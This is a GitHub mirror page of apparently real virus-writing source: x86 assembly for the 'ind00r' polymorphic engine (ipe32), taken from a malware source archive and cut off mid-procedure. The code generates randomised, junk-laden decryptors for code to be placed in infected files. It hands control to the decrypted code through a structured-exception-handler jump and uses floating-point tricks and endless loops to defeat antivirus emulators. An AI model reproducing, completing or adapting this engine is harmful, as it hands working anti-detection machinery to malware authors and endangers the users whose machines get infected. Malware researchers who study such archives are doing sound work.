13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/Engines/Virus.Win32.Ipe32.txt
2020-10-09 21:50:53 -05:00

2813 lines
100 KiB
Plaintext
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; ÚÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÒÄ¿
; ÚÄÒÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÒÄ¿
; ³Ú×ÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂ׿³
; ÆØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎص
; ³Ã×Å×ÅÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÅ×Å×´³
; ³ÆÎØε ind00r poly engine (ipe32) v1.0 final ÆÎØε³
; ³Ã×Å×ÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅ×Å×´³
; ³ÆÎØε ÆÎØε³
; ³Ã×Å×´ 04.01.01 ÃÄ´ by slurp Ã×Å×´³
; ³ÆÎØε ÆÎØε³
; ³Ã×Å×ÅÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÂÒÅ×Å×´³
; ÆØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎØÎص
; ³À×ÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁÐÁ×Ù³
; ÀÄÐÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÐÄÙ
;
RANDOM_SEED equ 0BABAh * 65536 + 0BABEh
MAX_POLY_SIZE equ 3072
; main procedure: ind00r
; parameters:
;
; EAX = size of junk space (in dwords)
; EDX = address of junk space
; ÄÄÄÄÄÄÄÄ¿ this is the RVA of an empty space in (un-
; initialized data or padding space). the junk
; instructions will write to this area
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; EBX = address of code to decrypt
; ÄÄÄÄÄÄÄÄ¿ this is the RVA where the encrypted
; code will be stored in the infected file.
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; ECX = size of code to encrypt (in dwords)
; ESI Ä code to encrypt
; EDI Ä area >= 2kb to store the decryptor
;
; returns: the registers aren't changed except ECX that contains
; the size of the poly decryptor!
;
; NOTE: 'Ä' is equal to 'points to'
;
; the decryptor constists of junk procedures, decryptor procedures, main
; loop calling the procedures and finally jump to the start address to the
; decrypted code.
ind00r proc
pushad ; preserve all registers
call iInit ; initialize poly engine
ind00r_delta: mov al, JMP_LONG ; write jump to main loop
stosb ; store opcode
push edi ; to reloc jmp l8er
stosd ; store relative offset
call WriteJunk ; write some junk bytez
call iGenProcs ; generate procedures
push edi ; here we want to jump
call RelLongJmp ; reloc jump to main loop
or byte ptr [ebp.nojunk-idelta], 0FFh
call iGenLoop ; generate main loop
call iSEHJump
sub edi, [esp.PUSHAD_EDI] ; calculate decryptor size
mov [esp.PUSHAD_ECX], edi ; ECX = size
call iEncrypt ; encrypt code!
popad ; restore all registers
ret ; return
ind00r endp
; main procedure: init
iInit proc
; first of all, calculate new delta offset
mov ebp, [esp]
add ebp, idelta - offset ind00r_delta ; calculate delta
; offset
; now init random seed
push dword ptr [ebp.RandomConst-idelta]
pop dword ptr [ebp.RandomSeed-idelta]
push edi ; push destination index
lea edi, [ebp.InitValues-idelta] ; table with init values
; let's store parameterz
stosd ; store size of junk space
xchg eax, edx
stosd ; store address of junk space
xchg eax, ebx
stosd ; store decrypt rva
xchg eax, ecx
stosd ; size of code
xchg eax, esi
stosd ; address of code
; mix the registers
lea esi, [ebp.preg-idelta]
push USED_REGS
call MixBytes
; get number of junk procedures (1 - 5)
push JUNK_PROCS ; 0 - 3
call rnd32r
add al, MIN_PROCS
mov [ebp.ProcCount-idelta], al ; number of procedures
; put the procedures in random order
lea esi, [ebp.ProcedureOrder-idelta]
push eax
call MixBytes
; put procedure calls in random order
lea esi, [ebp.CallOrder1-idelta]
push CALL_ORDER_1
call MixBytes
lea esi, [ebp.CallOrder2-idelta]
mov ecx, eax
sub al, CALL_ORDER_2 + 1
push eax
call MixBytes
; get random parameter count for each procedure
lea edi, [ebp.ProcParameters-idelta]
mov cl, MAX_PROCS
i_par_loop: push MAX_PARAMS + 03h ; 0 - MAX_PARAMS + 2
call rnd32r
sub al, 02h
jnc i_lamest
xor eax, eax
i_lamest: stosb
loop i_par_loop
xor eax, eax
stosb
; get random key, encryption & key increment type
lea edi, [ebp.CryptKey-idelta]
call rnd32
stosd ; write key
call rnd32
stosd ; write key increment
push ENC_RND
call rnd32r
stosb ; write encryption type
push KEY_RND
call rnd32r
stosb ; write key increment type
pop edi ; pop destination index
and word ptr [ebp.InLoop-idelta], 00h
ret
iInit endp
; main procedure: encrypt
iEncrypt proc
pushad
lea esi, [ebp.CryptSize-idelta]
lodsd ; CryptSize
xchg eax, ebx
lodsd ; EncryptRVA
xchg eax, edi
lodsd ; CryptKey
xchg eax, ecx
lodsd ; KeyIncrement
xchg eax, edx
encrypt_loop: mov al, [ebp.CryptType-idelta] ; get encryption type
cmp al, ENC_XOR ; XOR encryption?
jnz ie_not_xor ; no, check next
xor [edi], ecx ; yes, XOR [preg], key
ie_not_xor: cmp al, ENC_ADD ; ADD decryption?
jnz ie_not_add ; no, check next
sub [edi], ecx ; yes, SUB [preg], key
ie_not_add: cmp al, ENC_SUB ; SUB decryption?
jnz ie_not_sub ; no, check next
add [edi], ecx ; yes, ADD [preg, key
ie_not_sub: cmp al, ENC_ROL ; ROL decryption?
jnz ie_not_rol ; no, check next
ror dword ptr [edi], cl ; rotate dword
ie_not_rol: cmp al, ENC_ROR ; ROR decryption?
jnz ie_not_ror ; no, jmp to key increment
rol dword ptr [edi], cl ; rotate dword
ie_not_ror: xchg ecx, edx
mov al, [ebp.KeyIncType-idelta] ; get key increment type
cmp al, KEY_ROL ; ROL key increment?
jnz ie_n_rol ; no, check next
rol edx, cl ; rotate key
ie_n_rol: cmp al, KEY_ROR ; ROR key increment?
jnz ie_n_ror ; no, check next
ror edx, cl ; rotate key
ie_n_ror: cmp al, KEY_INC ; ADD key increment?
jnz ie_n_inc ; no, check next
add edx, ecx ; increment key
ie_n_inc: cmp al, KEY_DEC ; SUB key increment?
jnz ie_n_dec ; no
sub edx, ecx ; decrement key
ie_n_dec: xchg ecx, edx
scasd ; increment pointer by 4
dec ebx
jnz encrypt_loop
popad
ret
iEncrypt endp
; main generator: generate procedure body and some junk around the real
; instructions.
iGenProcs proc
; get number of procedures into counter
movzx ecx, byte ptr [ebp.ProcCount-idelta]
xor ebx, ebx ; set up another counter that counts from 0
; for choosin' procedures
call rnd32
xchg dh, al
gp_loop: push ecx
; getting number of current procedure
push ebx
movzx ebx, byte ptr [ebp.ProcedureOrder-idelta+ebx]
; ID # of 1st procedure
mov [ebp.CurrentProc-idelta], bl ; for junk gen to
; identify current proc
; store procedure address
mov [ebp.ProcAddress-idelta+4*ebx], edi
; get number of parameters
mov dl, [ebp.ProcParameters-idelta+ebx]
test dl, dl ; if no parameter,
jz gp_np_entry ; generate no entry
; if procedure has parameters we need to set up EBP
; choose between two (similar) entrys:
; ENTER 0000h,00h
; or
; PUSH EBP
; MOV EBP, ESP
test dh, 01h
jz gp_psh_entry
xor eax, eax ; no local variables
mov al, PROC_ENTER ; opcode for enter
stosd ; store instruction
jmp gp_np_entry
gp_psh_entry: mov eax, PUSH_REG or REG_EBP or (100h * MOV_EBP_ESP)
stosd
dec edi ; wrote 3 bytes
gp_np_entry: push ebx
call iProcJunk
pop ebx
cmp ebx, JUNK_PROC
jnb gp_junk_proc
mov esi, [ebp.Generatorz-idelta+ebx*4]
add esi, ebp
push edx
call esi ; call di generator
pop edx
gp_junk_proc: call iProcJunk ; make some junk
mov eax, edx
xor ah, ah
shl eax, 08h xor 02h ; shift left one byte + * 4
xor al, PROC_RETP ; generate ret (with params)
test ah, ah ; do we have parameters?
jz gp_no_par
mov byte ptr [edi], POP_REG or REG_EBP
test dh, 01h
jz gp_psh_exit
xor byte ptr [edi], PROC_LEAVE xor (POP_REG or REG_EBP)
gp_psh_exit: inc edi ; write pop ebp/leave
stosd ; store RET opcode (C2h)
dec edi ; only store 3 bytes
jmp gp_par
gp_no_par: inc eax
stosb ; store RET opcode (C3h)
gp_par: call WriteJunk
pop ebx
inc ebx ; increment count
pop ecx
loop gp_loop
ret
iGenProcs endp
; generates main loop with some junk between callz.
iGenLoop proc
or byte ptr [ebp.InLoop-idelta], 01h
lea esi, [ebp.CallOrder1-idelta]
movsx ecx, byte ptr [ebp.ProcCount-idelta]
or byte ptr [ebp.CurrentProc-idelta], 0FFh
gl_call_lp: xor eax, eax
lodsb ; get numbah of proc
xchg eax, ebx
inc byte ptr [ebp.CurrentProc-idelta]
cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
jne gl_yxcmv
push edi
gl_yxcmv:
push ecx
movsx ecx, byte ptr [ebp.ProcParameters-idelta+ebx]
push ebx
test ecx, ecx ; 0 parameterz?
jz gl_no_par ; don't loop
gl_push_lp:
call iPushJunk
loop gl_push_lp
gl_no_par:
pop ebx
mov edx, [ebp.ProcAddress-idelta+4*ebx]
mov byte ptr [edi], CALL_DIRECT ; write call opcode
inc edi
neg edi
lea eax, [edx+edi-04h]
neg edi
stosd
pop ecx ; outer loop counter
loop gl_call_lp
mov bl, [ebp.creg-idelta] ; generate check if counter
call gCheckReg ; reg is zero
mov ax, ESC_2BYTE xor ((JMPC_LONG xor COND_NE) * 100h)
stosw ; generate JNZ
pop eax
neg edi
lea eax, [eax+edi-04h] ; eax = eax - (edi + 04h)
neg edi
stosd ; store jump offset
ret
iGenLoop endp
; generate jump to code
iSEHJump proc
mov edx, [ebp.DecryptRVA-idelta] ; where to jump after
; decryption
; 1. let's put offset to code on stack
call rnd32
test al, 01h
jz isj_npd
; generate PUSH offset CODE
mov al, PUSH_IMM ; push 32-bit immediate
stosb
xchg eax, edx
stosd ; immediate value
jmp isj_npd0
; load reg with value and push reg
isj_npd: call rnd32
and al, REG_EDI
cmp al, REG_ESP
je isj_npd
xchg eax, ebx
push ebx
call gLoadReg
pop eax
xor al, PUSH_REG
stosb
; 2. let's clear a reg to index fs:[0]
isj_npd0: ; get a random register & clear it
call rnd32
and al, REG_EDI
cmp al, REG_ESP
je isj_npd0
mov ebx, eax
call gClearReg
xchg eax, ecx
; 3. put da old handler on stack
mov al, OVERRIDE_FS
stosb
xor ch, ch
xor esi, esi
call rnd32
test al, 01h
jz isj_dir
mov bh, OPTYPE_MOV
call rnd32
and al, 02h
add bh, al
isj_gnr: call rnd32
and al, REG_EDI
cmp al, cl
je isj_gnr
mov bl, al
mov al, OPSIZE_32
mov ah, REG_MEM
call ciOpRMReg
xchg eax, ebx
xor al, PUSH_REG
stosb
jmp isj_dir0
isj_dir: mov al, OP_GROUP5
stosb
mov bl, P_PUSH
call ciCreateOperand
isj_dir0:
; 4. now set new handler to ESP
mov al, OVERRIDE_FS
stosb
mov bx, REG_ESP xor (OPTYPE_MOV * 100h)
mov ax, OPSIZE_32 xor (MEM_REG * 100h)
call ciOpRMReg
; 5. let's create some junk that causes exception
push 03h
pop ecx
ex_junk_loop: push ecx
push OPTYPE_CMP
call rnd32r
xchg eax, ebx
call rnd32
test al, 01h
jz isj_suck
mov bh, bl
call rnd32
and al, REG_EDI
mov bl, al
push 03h
call rnd32r
mov ah, MEM_REG
call ciOpRMReg
jmp isj_suck0
isj_suck: call rnd32
xchg eax, edx
push 03h
call rnd32r
call ciOpRMImm
isj_suck0: pop ecx
loop ex_junk_loop
ret
iSEHJump endp
; load start RVA into pointer register
iProcLdPtr proc
mov edx, [ebp.DecryptRVA-idelta]
mov bl, [ebp.preg-idelta]
jmp gLoadReg
iProcLdPtr endp
; load size into counter register
iProcLdCnt proc
mov edx, [ebp.CryptSize-idelta]
mov bl, [ebp.creg-idelta]
jmp gLoadReg
iProcLdCnt endp
; load key into key register
iProcLdKey proc
mov edx, [ebp.CryptKey-idelta]
mov bl, [ebp.kreg-idelta]
jmp gLoadReg
iProcLdKey endp
; decrypt data word
iProcDecData proc
mov cl, [ebp.preg-idelta] ; operand = ptr reg
call rnd32 ; get random bit
mov bl, 08h
cmp byte ptr [ebp.CryptType-idelta], ENC_SUB
jbe dd_not_chk_ecx
cmp cl, REG_ECX
jne dd_not_chk_ecx
or al, 01h ; set 1st bit
dd_not_chk_ecx:
test al, 01h ; is it zero?
jz blaaah ; yes, use direct encryption
; create MOV/XCHG junkreg, [preg] (indirect encryption)
dd_get_jnk_reg: call iGetJunkReg
cmp al, REG_ECX ; is it ECX?
je dd_get_jnk_reg ; yes, use other junk reg
mov bl, al
xor al, MOD_REG
push eax ; push code reg for later use
mov bh, OPTYPE_MOV ; generate MOV
call rnd32 ; random numbah
and al, 02h
add bh, al ; zero, use MOV
; non-zero, use XCHG
xor esi, esi ; no displacement
mov al, OPSIZE_32 ; dword, of course
mov ah, REG_MEM ; from memory to register
call ciOpRMReg
pop ecx
call iBlockJunkAR
blaaah:
; test for encryption type
mov al, [ebp.CryptType-idelta]
cmp al, ENC_XOR
jnz dd_not_xor
mov bh, OPTYPE_XOR ; generate XOR jreg/[preg], kreg
dd_not_xor: cmp al, ENC_ADD
jnz dd_not_add
mov bh, OPTYPE_ADD ; generate ADD jreg/[preg], kreg
dd_not_add: cmp al, ENC_SUB
jnz dd_not_sub
mov bh, OPTYPE_SUB ; generate SUB jreg/[preg], kreg
dd_not_sub: ja dd_rotate ; generate ROR/ROL jreg/[preg], kreg
push ecx
mov al, OPSIZE_32
mov ah, MEM_REG
mov bl, [ebp.kreg-idelta]
xor ch, ch
xor esi, esi
call ciOpRMReg
jmp dd_exit
dd_rotate: push ecx ; code reg/pointer reg
push eax
push ecx
; we'll generate
;
; shift on [preg]:
;
; push ecx (only if kreg <> ECX)
; mov ecx, kreg ( " " " " " )
; ror [preg], cl (rol/ror)
; pop ecx (only if kreg <> ECX)
;
;
; shift on junkreg: (this variant is forced if preg = ECX)
;
; mov junkreg, [preg] (xchg/mov)
; push ecx (only if kreg <> ECX)
; mov ecx, kreg
; ror junkreg, cl (rol/ror)
; pop ecx
; mov [preg], junkreg (xchg/mov)
;
; junkreg must not be ECX
mov al, [ebp.kreg-idelta] ; load key register
cmp al, REG_ECX ; ECX?
jz dd_no_push ; yes, no need to push ecx
or al, MOD_REG
xchg eax, ecx
push REG_ECX
call iIsJReg
cmp eax, 0FFFFFFFFh
jnz dd_ecx_isj
mov al, PUSH_REG xor REG_ECX ; generate PUSH ECX
stosb ; store opcode
pop ebx
call iBlockJunkAR
push ebx
dd_ecx_isj: xchg eax, edx
mov bx, REG_ECX xor (OPTYPE_MOV * 100h) xor MOD_REG
call rnd32
mov al, OPSIZE_32
and ah, REG_MEM
jnz dd_nxchg
xchg bl, cl
dd_nxchg:
call ciOpRMReg ; generate mov ecx, kreg
dd_askdjh: call iGetJunkReg
pop ebx
push ebx
and ebx, REG_EDI
cmp eax, ebx
je dd_askdjh
cmp al, REG_ECX
je dd_askdjh
xchg eax, ebx
call iRndJunk
dd_no_push:
pop ecx
pop eax
mov bl, ROR_SHIFT ; shift type ROR
cmp al, ENC_ROR ; is it ROR?
jz dd_enc_ror ; yes, skip
dec ebx ; decrement shift type (ROL)
dd_enc_ror:
mov al, OPSIZE_32
mov bh, SHIFT_CL
xor ch, ch ; no SIB addressin'
xor esi, esi
call ciShiftRM
xchg eax, edx
cmp al, PUSH_REG xor REG_ECX
jnz dd_no_pop
pop ebx
push ebx
and ebx, REG_EDI
call iBlockJunkAR
xor al, PUSH_REG xor POP_REG
stosb
dd_no_pop:
dd_exit: pop ebx ; pop code/ptr reg
mov eax, ebx
and al, MOD_REG
xor al, MOD_REG
jnz dd_not_save_reg
and ebx, REG_EDI
call iBlockJunkAR
mov cl, [ebp.preg-idelta]
mov bh, OPTYPE_MOV
call rnd32
and al, 02h
add bh, al
mov ax, OPSIZE_32 or (MEM_REG * 100h)
xor ch, ch
xor esi, esi
call ciOpRMReg
dd_not_save_reg:
ret
iProcDecData endp
; increment key
iProcIncKey proc
mov edx, [ebp.KeyIncrement-idelta] ; load key increment
call iGetJunkReg ; get random junk reg
xchg eax, ecx
mov ebx, ecx
mov al, [ebp.KeyIncType-idelta] ; get key increment type
mov bh, OPTYPE_ADD ; first assume ADD
cmp al, KEY_DEC ; check if decrement key
jnz pik_not_sub ; nope, ADD
mov bh, OPTYPE_SUB ; yes, SUB
pik_not_sub: ja pik_rotate ; > KEY_DEC: rotate!
call rnd32
test al, 01h
jz pik_direct ; don't load reg
push ebx
call gLoadReg ; move key increment into reg
pop ebx
call iBlockJunkAR
xor bl, MOD_REG
mov cl, [ebp.kreg-idelta] ; get key reg
xor ecx, 0FFFFFF00h xor MOD_REG
push 02h
call rnd32r
test eax, eax
jz pik_blah
xchg bl, cl
pik_blah:
mov ah, al
mov al, OPSIZE_32
jmp ciOpRMReg ; create instruction
pik_direct:
mov al, OPSIZE_32
mov bl, bh
mov cl, [ebp.kreg-idelta]
or ecx, 0FFFFFF00h xor MOD_REG
jmp ciOpRMImm
pik_rotate: xor bl, bl ; ROL shift
cmp al, KEY_ROR
jnz pik_not_ror
inc ebx ; ROR shift
pik_not_ror: mov ah, dl
and ah, 1Fh
mov bh, SHIFT_IMM
mov al, OPSIZE_32
mov cl, [ebp.kreg-idelta]
xor cl, MOD_REG
call ciShiftRM
ret
iProcIncKey endp
; increment pointer by 4
iProcIncPtr proc
push 04h ; we have 4 methods
call rnd32r ; to do so
mov cl, [ebp.preg-idelta]
xor cl, MOD_REG ; pointer reg, of course
push 04h
pop edx ; mov edx, 4 (optimized :P)
test al, al
jnz pip_not_add
mov bl, OPTYPE_ADD
pip_not_add: cmp al, 01h
jnz pip_not_sub
neg edx
mov bl, OPTYPE_SUB
pip_not_sub: cmp al, 02h
jnz pip_not_adc
mov bl, OPTYPE_ADC
dec edx
mov byte ptr [edi], SET_CRY
inc edi
pip_not_adc: cmp al, 03h
jnz pip_not_lea
; generate lea preg, [preg + 04h]
mov byte ptr [edi], LOAD_EA
inc edi
and cl, REG_RND - 1
mov bl, cl
push esi
xchg edx, esi
xor ch, ch
call ciCreateOperand
pop esi
ret
pip_not_lea: mov al, OPSIZE_32
jmp ciOpRMImm
ret
iProcIncPtr endp
; decrement counter
iProcDecCnt proc
push 05h
call rnd32r
mov cl, [ebp.creg-idelta]
or cl, MOD_REG
xor edx, edx
test al, al
jnz pdc_not_dec
; generate DEC creg
mov al, DEC_REG
or al, [ebp.creg-idelta]
stosb
ret
pdc_not_dec: cmp al, 01h
jnz pdc_not_add_FF
; generate ADD creg, -1
mov bl, OPTYPE_ADD
dec edx
pdc_not_add_FF: cmp al, 02h
jnz pdc_not_sbb
; generate STC, SBB creg, 0
mov byte ptr [edi], SET_CRY
inc edi
mov bl, OPTYPE_SBB
pdc_not_sbb: cmp al, 03h
jnz pdc_not_lea
; generate LEA creg, [creg - 1]
mov byte ptr [edi], LOAD_EA
inc edi
and cl, REG_RND - 1
mov bl, cl
push esi
xor esi, esi
dec esi
xor ch, ch
call ciCreateOperand
pop esi
ret
pdc_not_lea: cmp al, 04h
jnz pdc_not_sub
; generate SUB creg, 1
mov bl, OPTYPE_SUB
inc edx
pdc_not_sub: mov al, OPSIZE_32
jmp ciOpRMImm
iProcDecCnt endp
; fool some emulatorz
iProcFPUFool proc
; initialize FPU
mov eax, FPU_WAIT or (FPU_INIT * 100h) or 'X' * 1000000h
stosd
dec edi
; choose random address to store result
call iGetWrMem
push GF_METHCNT ; choose between 4 methods
call rnd32r
push eax
inc eax
mov edx, eax
; store initial value in memory
mov al, OPSIZE_32
mov bl, OPTYPE_MOV
call ciOpRMImm
call iRndRegJ
; load dword from address into fpu register
call rnd32
and al, FPU_WORD_LDST
or al, FPU_INT_LDST
mov bl, FPU_LOAD
stosb
call ciCreateOperand
; calculate address of method and execute it!
pop eax
push eax
mov ebx, [ebp.gf_methods-idelta+4*eax]
add ebx, ebp
call ebx
; write back dword from st(0)
call iGetWrMem
call rnd32
and al, FPU_WORD_LDST xor FPU_INT_LDST
xor al, FPU_INT_LDST
mov bl, FPU_STORE
stosb
call ciCreateOperand
call iRndRegJ
; check returned value of FPU instructions.
pop eax
push edi ; label1 in ECX (see below)
movzx edx, byte ptr [ebp.gf_rslt_table-idelta+eax]
push 03h
call rnd32r
add al, OPTYPE_SUB ; SUB, CMP or XOR
xchg eax, ebx
xor al, al
push edi
call ciOpRMImm
; if not equal, generate endless loop (fuck some emulatorz)
; generate JZ or JNZ
pop ebx
pop ecx
mov al, ah ; get another random byte
test al, 40h
jnz gf_as1 ; not zero, jump after junk
xchg ecx, ebx
gf_as1:
call rnd32 ; random dword
and al, 01h
jz gf_el1 ; zero, generate JZ
; jump back before compare instruction or afta
;
; label1: <access mem junk>
; label2: CMP/SUB/XOR
; JNZ label2/label3
xchg eax, ecx
mov byte ptr [edi], JMPC_SHORT xor COND_NZ
inc edi
sub eax, edi ; calculate relative offset
dec eax ; we need to dec rel
stosb ; write relative jmp offset
ret
gf_el1:
;
; JZ label2/label3
; label1: <junk>
; JMP label1
; label2: <junk>
; label3:
;
xchg eax, ecx
mov byte ptr [edi], JMPC_SHORT xor COND_Z
inc edi
push edi
inc edi
call iBlockJunk
mov byte ptr [edi], JMP_SHORT
inc edi
sub eax, edi
dec eax
stosb
push edi
call iBlockJunk
mov ebx, edi
pop ecx
mov al, ah ; get another random byte
test al, 20h
jnz gf_as2
xchg ecx, ebx
gf_as2: xchg eax, ecx
pop eax
neg eax
lea ebx, [edi+eax-01]
neg eax
mov [eax], bl
gf_xit:
ret
gf_rslt_table db 03h, 07h, 02h, 00h
gf_meth1: call rnd32
and al, 01h
jz gf_meth11
mov ax, FPU_LDPI
stosw
call iBlockJunk
mov al, FPU_WORD_OP
stosb
mov bl, FPU_MULP
gf_meth1e: mov cl, REG_ST1 or MOD_REG
jmp ciCreateOperand
gf_meth11: mov ax, FPU_LDLG2
stosw
call iBlockJunk
mov al, FPU_WORD_OP
stosb
mov bl, FPU_DIVP
jmp gf_meth1e
gf_meth2: mov ax, FPU_LDL2T
stosw
call iBlockJunk
mov al, FPU_DWORD_OP
stosb
mov bl, FPU_MUL
mov cl, REG_ST1 or MOD_REG
jmp ciCreateOperand
gf_meth3: mov ax, FPU_LDLN2
stosw
call iBlockJunk
mov ax, FPU_SQRT
stosw
mov al, FPU_QWORD_OP
stosb
mov bl, FPU_MUL
mov cl, REG_ST1 or MOD_REG
call ciCreateOperand
mov ax, FPU_DWORD_LDST or (100h * (MOD_REG xor 09h))
stosw
ret
gf_methods equ $
dd offset gf_meth1-idelta
dd offset gf_meth2-idelta
dd offset gf_meth3-idelta
GF_METHCNT equ 3
iProcFPUFool endp
; main procedure: generate 1-3 different junk blockz
iProcJunk proc
push ecx ; preserve counter
push 03h ; get random number between 0 and 4
call rnd32r
inc eax ; add 1 (1 - 3)
xchg eax, ecx ; load into counter
call iBlockJunk ; generate junk blocks
loop $ - 05h
pop ecx ; restore counter
ret
iProcJunk endp
; main procedure: generate 1 junk block
iBlockJunk proc
mov bl, 08h
iBlockJunkAR: ; avoid register in ebx
test byte ptr [ebp.nojunk-idelta], 0FFh
jz bj_sueder
ret
bj_sueder:
pushad
push BJ_BLOCKCNT ; choose between multiple methods
call rnd32r
mov edx, [ebp.bj_blockz-idelta+4*eax] ; get address of
add edx, ebp ; method procedure & relocate
bj_nxtr: call iGetJunkReg ; get a junk reg
cmp al, bl ; test if we shouldn't touch it
je bj_nxtr ; yes, get another junk reg
xchg ebx, eax ; junk reg in EAX
call edx ; execute method
mov [esp], edi
popad
ret
; junk block 1:
; 1. <compare/sub register/memory with constant>
; 2. <conditional jump to 4.>
; 3. <2 - 4 junk instructions>
; 4.
bj_block1: push ebx ; save register 4 l8er use
mov dh, bl
mov bl, OPTYPE_SUB
call rnd32 ; get random number
and al, 02h ; 0/2
add bl, al ; OPTYPE_SUB + 2 = OPTYPE_CMP
call rnd32
and al, 01h
mov dl, al ; dl = 0/1 (reg/junk)
test dl, dl
jz bj_b1_nreg1
call rnd32
and al, REG_EDI ; 00000xxx random reg
xor al, MOD_REG ; 11000xxx set reg bits
xchg eax, ecx
jmp bj_b1_nmem1
bj_b1_nreg1: call iGetMemory ; get readable memory
bj_b1_nmem1: cmp bl, OPTYPE_SUB ; if not SUB, get read only
jnz bj_b1_nro ; register or memory
test dl, dl
jz bj_b1_nreg2
mov cl, dh ; writeable register
xor ecx, 0FFFFFF00h xor MOD_REG
jmp bj_b1_nro
bj_b1_nreg2: call iGetWrMem
bj_b1_nro: mov al, bl
xor al, MOD_REG
test al, MOD_REG
jz bj_b1_regalign
call iOpSizeMem
jmp bj_b1_blah
bj_b1_regalign: call iOpSizeReg
bj_b1_blah: push eax
call rnd32
xchg eax, edx
call rnd32
test al, 01h
jz bj_b1_akldf
movsx edx, dl
bj_b1_akldf: pop eax
call ciOpRMImm
pop ebx
call rnd32
and al, 0Fh ; get random conditional jump type
xor al, JMPC_SHORT ; make jump opcode
stosb ; store it
push edi ; push address of immediate
stosb ; store placeholder byte
call iRndJunk ; make some junk
pop eax
not eax
lea ebx, [edi+eax] ; relative address
not eax
mov [eax], bl ; store relative jump address
ret
; junk block 2:
; 1. <push junk>
; 2. <2 - 4 junk instructions>
; 3. <pop junk>
bj_block2: call iPushJunk
call iRndJunk ; make some junk
jmp iPopJunk
bj_block3: call rnd32 ; generate STC/CLC/STD/CLD
and al, 05h
xor al, 0F8h
stosb
jmp iRndJunk
bj_blockz equ $
dd offset bj_block1 - idelta
dd offset bj_block2 - idelta
dd offset bj_block3 - idelta
dd offset iRndJunk - idelta
dd offset iRndJunk - idelta
BJ_BLOCKCNT equ 05h
iBlockJunk endp
; writes two to four random junk instruction (reg or mem)
iRndJunk proc
pushad
push 03h
call rnd32r
inc eax
inc eax
xchg eax, ecx
rndj_loop: push JUNKGEN_CNT
call rnd32r
mov eax, [ebp.JunkGen-idelta+4*eax]
add eax, ebp
push ecx
push ebx
call eax
pop ebx
pop ecx
loop rndj_loop
mov [esp], edi
popad
ret
iRndJunk endp
; generates one junk instruction with the register in ebx (the register
; isn't overwritten some times)
; ebx = register
iRegJunk proc
push RJ_METHCNT
call rnd32r
mov ecx, [ebp.rj_methods-idelta+4*eax]
add ecx, ebp
call iOpSizeReg
jmp ecx
; method 1: immediate operation on register
rj_meth1: push eax
mov ecx, ebx
xor ecx, 0FFFFFF00h xor MOD_REG
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb rj_m1_nmov
mov al, OPTYPE_MOV
rj_m1_nmov:
xchg eax, ebx
call rnd32
xchg eax, edx
call rnd32
test al, 0Ch
jz rj_m1_nsx
movsx edx, dl
rj_m1_nsx: pop eax
rj_m1_nrc: jmp ciOpRMImm
; method 2: operation with mem on register
rj_meth2: push eax
call iGetMemory
push OPTYPE_MOV + 3 ; we don't want to XCHG
call rnd32r ; get random operation type
cmp al, OPTYPE_MOV + 1
jb rj_m2_nmov
mov al, OPTYPE_MOV
rj_m2_nmov:
mov bh, al
pop eax
mov ah, REG_MEM
jmp ciOpRMReg
; method 3: operation with reg on register
rj_meth3:
push eax
rj_m3_asd: call rnd32
and al, REG_EDI
cmp al, bl
je rj_m3_asd
xor al, MOD_REG
xor bl, MOD_REG
xchg eax, ecx
call rnd32
and al, 01h
jnz rj_m3_nxchg
xchg bl, cl
rj_m3_nxchg: xchg eax, edx
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb rj_m3_nmov
mov al, OPTYPE_MOV
rj_m3_nmov: mov bh, al
pop eax
mov ah, dl
jmp ciOpRMReg
; method 4: shift register
rj_meth4: xchg eax, ebx
or al, MOD_REG
xchg eax, ecx
push ebx
push RND_SHIFT
call rnd32r
xchg eax, ebx
push SHIFT_RND
call rnd32r
mov bh, al
call rnd32
and al, 1Fh
xchg eax, edx
pop eax
cmp al, OPSIZE_16
jne rj_m4_blah1
and dl, 0Fh
rj_m4_blah1: cmp al, OPSIZE_8
jne rj_m4_blah2
and dl, 07h
rj_m4_blah2:
mov ah, dl
jmp ciShiftRM
; method 5: movzx/movsx register, reg
rj_meth5: test al, al
jnz rj_m5_ok
inc eax
and bl, not 04h
rj_m5_ok: mov dl, MOVX_WORD xor MOVX_SX
test al, 02h
jz rj_m5_nprefix
